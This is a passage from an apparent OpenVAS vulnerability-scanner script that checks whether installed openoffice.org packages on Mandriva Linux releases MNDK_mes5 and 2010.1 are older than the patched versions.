rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-tr\", rpm:\"openoffice.org-help-tr~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_CN\", rpm:\"openoffice.org-help-zh_CN~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_TW\", rpm:\"openoffice.org-help-zh_TW~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zu\", rpm:\"openoffice.org-help-zu~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-impress\", rpm:\"openoffice.org-impress~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-java-common\", rpm:\"openoffice.org-java-common~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-af\", rpm:\"openoffice.org-l10n-af~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ar\", rpm:\"openoffice.org-l10n-ar~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bg\", rpm:\"openoffice.org-l10n-bg~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-br\", rpm:\"openoffice.org-l10n-br~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bs\", rpm:\"openoffice.org-l10n-bs~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ca\", rpm:\"openoffice.org-l10n-ca~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cs\", rpm:\"openoffice.org-l10n-cs~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cy\", rpm:\"openoffice.org-l10n-cy~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-da\", rpm:\"openoffice.org-l10n-da~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-de\", rpm:\"openoffice.org-l10n-de~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-el\", rpm:\"openoffice.org-l10n-el~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-en_GB\", rpm:\"openoffice.org-l10n-en_GB~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-es\", rpm:\"openoffice.org-l10n-es~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-et\", rpm:\"openoffice.org-l10n-et~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-eu\", rpm:\"openoffice.org-l10n-eu~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fi\", rpm:\"openoffice.org-l10n-fi~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fr\", rpm:\"openoffice.org-l10n-fr~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-he\", rpm:\"openoffice.org-l10n-he~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hi\", rpm:\"openoffice.org-l10n-hi~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hu\", rpm:\"openoffice.org-l10n-hu~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-it\", rpm:\"openoffice.org-l10n-it~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ja\", rpm:\"openoffice.org-l10n-ja~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ko\", rpm:\"openoffice.org-l10n-ko~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-mk\", rpm:\"openoffice.org-l10n-mk~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nb\", rpm:\"openoffice.org-l10n-nb~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nl\", rpm:\"openoffice.org-l10n-nl~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nn\", rpm:\"openoffice.org-l10n-nn~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pl\", rpm:\"openoffice.org-l10n-pl~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt\", rpm:\"openoffice.org-l10n-pt~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt_BR\", rpm:\"openoffice.org-l10n-pt_BR~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ru\", rpm:\"openoffice.org-l10n-ru~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sk\", rpm:\"openoffice.org-l10n-sk~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sl\", rpm:\"openoffice.org-l10n-sl~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sv\", rpm:\"openoffice.org-l10n-sv~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ta\", rpm:\"openoffice.org-l10n-ta~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-tr\", rpm:\"openoffice.org-l10n-tr~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_CN\", rpm:\"openoffice.org-l10n-zh_CN~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_TW\", rpm:\"openoffice.org-l10n-zh_TW~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zu\", rpm:\"openoffice.org-l10n-zu~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-math\", rpm:\"openoffice.org-math~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-mono\", rpm:\"openoffice.org-mono~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-openclipart\", rpm:\"openoffice.org-openclipart~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pdfimport\", rpm:\"openoffice.org-pdfimport~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presentation-minimizer\", rpm:\"openoffice.org-presentation-minimizer~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presenter-screen\", rpm:\"openoffice.org-presenter-screen~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pyuno\", rpm:\"openoffice.org-pyuno~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-crystal\", rpm:\"openoffice.org-style-crystal~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-galaxy\", rpm:\"openoffice.org-style-galaxy~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-hicontrast\", rpm:\"openoffice.org-style-hicontrast~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-industrial\", rpm:\"openoffice.org-style-industrial~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-tango\", rpm:\"openoffice.org-style-tango~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-testtool\", rpm:\"openoffice.org-testtool~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-wiki-publisher\", rpm:\"openoffice.org-wiki-publisher~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-writer\", rpm:\"openoffice.org-writer~3.1.1~0.6mdvmes5.1\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"openoffice.org\", rpm:\"openoffice.org~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-base\", rpm:\"openoffice.org-base~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-calc\", rpm:\"openoffice.org-calc~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-common\", rpm:\"openoffice.org-common~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-core\", rpm:\"openoffice.org-core~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel\", rpm:\"openoffice.org-devel~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel-doc\", rpm:\"openoffice.org-devel-doc~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-draw\", rpm:\"openoffice.org-draw~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-filter-binfilter\", rpm:\"openoffice.org-filter-binfilter~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-gnome\", rpm:\"openoffice.org-gnome~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-af\", rpm:\"openoffice.org-help-af~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ar\", rpm:\"openoffice.org-help-ar~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bg\", rpm:\"openoffice.org-help-bg~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-br\", rpm:\"openoffice.org-help-br~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bs\", rpm:\"openoffice.org-help-bs~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ca\", rpm:\"openoffice.org-help-ca~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cs\", rpm:\"openoffice.org-help-cs~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cy\", rpm:\"openoffice.org-help-cy~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-da\", rpm:\"openoffice.org-help-da~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-de\", rpm:\"openoffice.org-help-de~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-el\", rpm:\"openoffice.org-help-el~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_GB\", rpm:\"openoffice.org-help-en_GB~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_US\", rpm:\"openoffice.org-help-en_US~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-es\", rpm:\"openoffice.org-help-es~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-et\", rpm:\"openoffice.org-help-et~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-eu\", rpm:\"openoffice.org-help-eu~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fi\", rpm:\"openoffice.org-help-fi~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fr\", rpm:\"openoffice.org-help-fr~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-he\", rpm:\"openoffice.org-help-he~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hi\", rpm:\"openoffice.org-help-hi~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hu\", rpm:\"openoffice.org-help-hu~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-it\", rpm:\"openoffice.org-help-it~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ja\", rpm:\"openoffice.org-help-ja~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ko\", rpm:\"openoffice.org-help-ko~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-mk\", rpm:\"openoffice.org-help-mk~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nb\", rpm:\"openoffice.org-help-nb~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nl\", rpm:\"openoffice.org-help-nl~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nn\", rpm:\"openoffice.org-help-nn~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pl\", rpm:\"openoffice.org-help-pl~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt\", rpm:\"openoffice.org-help-pt~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt_AO\", rpm:\"openoffice.org-help-pt_AO~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt_BR\", rpm:\"openoffice.org-help-pt_BR~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ru\", rpm:\"openoffice.org-help-ru~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sk\", rpm:\"openoffice.org-help-sk~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sl\", rpm:\"openoffice.org-help-sl~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sv\", rpm:\"openoffice.org-help-sv~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ta\", rpm:\"openoffice.org-help-ta~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-tr\", rpm:\"openoffice.org-help-tr~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_CN\", rpm:\"openoffice.org-help-zh_CN~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_TW\", rpm:\"openoffice.org-help-zh_TW~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zu\", rpm:\"openoffice.org-help-zu~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-impress\", rpm:\"openoffice.org-impress~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-java-common\", rpm:\"openoffice.org-java-common~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-kde4\", rpm:\"openoffice.org-kde4~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-af\", rpm:\"openoffice.org-l10n-af~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ar\", rpm:\"openoffice.org-l10n-ar~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bg\", rpm:\"openoffice.org-l10n-bg~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-br\", rpm:\"openoffice.org-l10n-br~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bs\", rpm:\"openoffice.org-l10n-bs~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ca\", rpm:\"openoffice.org-l10n-ca~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cs\", rpm:\"openoffice.org-l10n-cs~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cy\", rpm:\"openoffice.org-l10n-cy~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-da\", rpm:\"openoffice.org-l10n-da~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-de\", rpm:\"openoffice.org-l10n-de~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-el\", rpm:\"openoffice.org-l10n-el~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-en_GB\", rpm:\"openoffice.org-l10n-en_GB~3.2~4.1mdv2010.1\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-es\", rpm:\"openoffice.org-l10n-es~3.2~4.1mdv2010.1\", 